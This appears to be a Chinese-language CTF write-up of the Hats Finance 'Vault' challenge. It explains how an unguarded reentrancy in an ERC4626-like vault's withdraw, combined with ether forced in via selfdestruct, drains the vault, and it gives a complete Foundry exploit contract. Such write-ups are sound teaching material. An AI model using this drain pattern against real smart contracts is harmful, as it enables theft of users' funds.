Hats Finance CTF 2 WriteUp

Intro

前陣子參加了 hats finance 辦的 ctf,比賽形式是在幾天的時間內找到合約的漏洞並提交報告及exp,雖沒得獎還是紀錄一下。

Vault Game Repo

Vault.sol 為一 ERC4626-like 的 vault,任何人可以存 eth 並獲得 shares。

The Challenge

最初會deposit 1 ether 到 vault 中。

1
2
3
4
constructor() payable ERC20(Vault Challenge Token, VCT) {
    require(msg.value == 1 ether, Must init the contract with 1 eth);
    _deposit(msg.sender, address(this), msg.value);
}

通關目標為清空 valut 的 balance:

1
2
3
4
function captureTheFlag(address newFlagHolder) external {
    require(address(this).balance == 0, Balance is not 0);
    flagHolder = newFlagHolder;
}

Observation

先觀察一一下能轉出 ether 的地方,ERC4626ETH.sol_withdraw()(line 148):

1
2
3
4
5
6
uint256 excessETH = totalAssets() - totalSupply();
_burn(_owner, amount);
Address.sendValue(receiver, amount);
if (excessETH > 0) {
    Address.sendValue(payable(owner()), excessETH);
}

withdraw()redeem()都會進_withdraw(),而且沒有 reentrancy guard。

注意到_withdraw()中,有兩個 sendValue,第一個傳送 amount ether 給 receiver,第二個會傳送 excessETH 給 owner。而 excessETH 的值一開始就被暫存,因此在第一次的 ether transfer 重入 withdraw(),設定 amount = 0,這樣便不會影響到 excessETH,藉此可以得到額外的 excessETH,最終清空 vault。

要讓 excessETH > 0,需增加totalAssets()但不能動到totalSupply(),可以透過 selfdestruct 強制轉移 ether 到 vault 合約中。

Exploit

  1. 建立一個合約轉入 1 ether 並調用 selfdestruct,所以此時 vault 的 excessETH = 1 ether。
  2. 調用 withdraw(),將 amount 設為 0。
  3. 重入 withdraw(),excessETH = 1 ether 被轉給 owner,此時 vault balance = 1 ether。
  4. 回到被劫持的 withdraw(),excessETH = 1 ether 再次被轉給 owner,vault balance = 0。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../src/Vault.sol";
contract Destruct {
    constructor() payable {}
    function destruct(address payable target) external payable {
        selfdestruct(target);
    }
}
contract VaultTest is Test {
    Vault vault;
    bool flag = true;
    function setUp() public {}
    function testExp() public {
        vm.deal(address(this), 2 ether);
        Destruct destruct = new Destruct{value: 1 ether}();
        vault = new Vault{value: 1 ether}();
        // send unexpected ether to vault
        destruct.destruct(payable(address(vault)));
        vault.withdraw(0 ether, address(this), address(this));
        console.log("vault balance", address(vault).balance);
        vault.captureTheFlag(address(this));
        console.log("vault.flagHolder", vault.flagHolder());
    }
    receive() external payable {
        if (flag) {
            flag = !flag;
            vault.withdraw(0, address(this), address(this));
        }
    }
}
Licensed under CC BY-NC-SA 4.0
comments powered by Disqus